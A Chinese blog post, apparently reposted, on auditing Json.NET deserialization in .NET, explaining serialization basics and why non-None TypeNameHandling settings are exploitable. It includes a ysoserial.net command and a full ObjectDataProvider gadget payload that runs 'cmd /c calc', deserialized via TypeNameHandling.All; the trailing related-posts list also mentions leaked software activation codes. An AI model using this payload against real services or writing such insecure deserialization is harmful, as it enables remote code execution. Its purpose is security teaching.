.Net审计之.Net Json反序列化

.Net审计之.NetJson反序列化前言偶然下遇到一个.NET下有意思的Json反序列化点,记录一下反序列化内容,直入主题。.NetJson常见序列化与反序列化NET中常见的数据格

大家好,又见面了,我是全栈君,祝每个程序员都可以多学几门语言。

.Net审计之.Net Json反序列化

前言

偶然下遇到一个.NET 下有意思的Json反序列化点,记录一下反序列化内容,直入主题。

.Net Json

常见序列化与反序列化

NET 中常见的数据格式以及序列化方法

官方文档:https://www.newtonsoft.com/json

.Net审计之.Net Json反序列化

序列化

namespace ConsoleApp1
{
    class Program
    {
        static void Main(string[] args)
        {
            Person person = new Person();
            person.name = "nice0e3";
            person.age = 22;

            string json = JsonConvert.SerializeObject(person);
            Console.WriteLine(json);
            Console.ReadLine();

        }

        public class Person
        {
            public string name;
            public int age;
            static string i;
        }
    }
}

//结果:{"name":"nice0e3","age":22} 

里面的i成员变量并没有被序列化进来,因为该成员变量是静态的,静态修饰的并不参与在实例化对象中,所以不会被序列化进来。

反序列化

string json = "{\"name\":\"nice0e3\",\"age\":22} ";
            object v = JsonConvert.DeserializeObject(json);
            Console.WriteLine(v);
           
            Console.ReadLine();
//结果:
{
  "name": "nice0e3",
  "age": 22
}

反序列化攻击

JsonConvert.DeserializeObject第一个参数需要被序列化的字符串、第二个参数设置序列化配置选项来指定JsonSerializer按照指定的类型名称处理,其中TypeNameHandling可选择的成员分为五种

.Net审计之.Net Json反序列化

默认情况下TypeNameHandling为None,表示Json.NET在反序列化期间不读取或写入类型名称。会使传递就去类名无法进行读取和写入,即不可触发漏洞。

只有当 TypeNameHandling 不为 None 时,传入的 Json 字符串中所附带类型名称才能被读取写入。这样才能触发反序列化漏洞。

设置为非空值、也就是对象(Objects) 、数组(Arrays) 、自动识别 (Auto) 、所有值(ALL) 的时候都会造成反序列化漏洞

ysoserial.net:https://github.com/pwntester/ysoserial.net

yso生成数据:

/ysoserial.exe -f Json.Net -g ObjectDataProvider -o raw -c "calc" -t
{
    '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
    'MethodName':'Start',
    'MethodParameters':{
        '$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
        '$values':['cmd', '/c calc']
    },
    'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
   static void Main(string[] args)
        {
         
            string json = @"{
    '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
    'MethodName':'Start',
    'MethodParameters':{
        '$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
        '$values':['cmd', '/c calc']
    },
    'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";

            Object js = JsonConvert.DeserializeObject(json, new JsonSerializerSettings
            {
                TypeNameHandling = TypeNameHandling.All
            });
            Console.WriteLine(js);
            Console.ReadKey();

参考

https://www.websecuritys.cn/archives/netxlh-1.html

https://ivan1ee.gitbook.io/-netdeserialize/fan-xu-lie-hua-lou-dong-xi-lie/121

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/119841.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • 预测大盘最准确的指标_预测大盘走势最牛的指标(经典)

    预测大盘最准确的指标_预测大盘走势最牛的指标(经典)★金融工程研究报告——国海证券2010年量化择时绩效全年盘点报告★国海证券研究所金融工程团队构建了数量化择时系统,以不定期发布《国海量化择时导报》的形式,表达国海金工团队对股市大势的研判及观点。回顾2010年波诡云谲的中国股市,该择时系统屡屡精准地对股市的阶段性趋势作出预判及风险提示,获得多方认可。量化择时系统2010年全年表现国海金工量化择时系统2010年全年表现优异,对股市大的拐点把握次次命…

    2022年6月29日
    62
  • 华为EC6108V9C/ E6108V9强刷固件及教程

    华为EC6108V9C/ E6108V9强刷固件及教程电信移动华为 EC6108V9C E6108V9 强刷固件刷机包及教程固件特点 1 调出原厂固件屏蔽的 wifi 开放原厂固件屏蔽的市场安装和 u 盘安装 apk 2 无开机广告 无系统更新 不在被强制升级 修改 dns 三网通用 3 大量精简内置的没用的软件 运行速度提升 30 以上 多出大量的存储空间 4 去除应用安装限制 实现自由安装软件 5 支持开机自启动 开机密码锁 儿童应用锁 应用隐藏 开机自动进入 HDMI 等各种花式功能 6 固件压缩包有刷机教程 解压获取 1 U 盘选择

    2025年6月14日
    4
  • Advanced SystemCare激活

    Advanced SystemCare激活AdvancedSystemCare6.x(x>=1)激活方案 1,请先在电脑上安装6.0版本。输入以下激活码激活:注册码:4A639-FD966-C5435-512C4[使用6.0版本用以上注册码可以激活]更多注册码CC52B-28CB1-DAF12-A96D6 65792-57FC4-5CEC1-677C4 4A639-FD966-C5435-512C

    2022年10月20日
    2
  • Linux下的经常使用性能查询命令top、vmstat、gprof、pidstat之对照

    Linux下的经常使用性能查询命令top、vmstat、gprof、pidstat之对照

    2021年12月4日
    155
  • 使用hexo和码云pages搭建个人博客

    使用hexo和码云pages搭建个人博客

    2021年3月12日
    139
  • MySQL集群架构[通俗易懂]

    MySQL集群架构[通俗易懂]本文知识点较多,篇幅较长,请耐心学习题记:文章内容输出来源:拉勾教育Java高薪训练营。本篇文章是MySQL学习课程中的一部分笔记。MySQL集群架构一、集群架构设计1、架构设计理念在集群架构设计时,主要遵从下面三个维度:可用性扩展性一致性2、可用性设计站点高可用,冗余站点服务高可用,冗余服务数据高可用,冗余数据保证高可用的方法是冗余。但是数据冗余带来的问题是数据一致性问题。实现高可用的方案有以下几种架构模式:主从模式简单灵活,能满足多种需求。比较主流的.

    2022年7月27日
    4

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号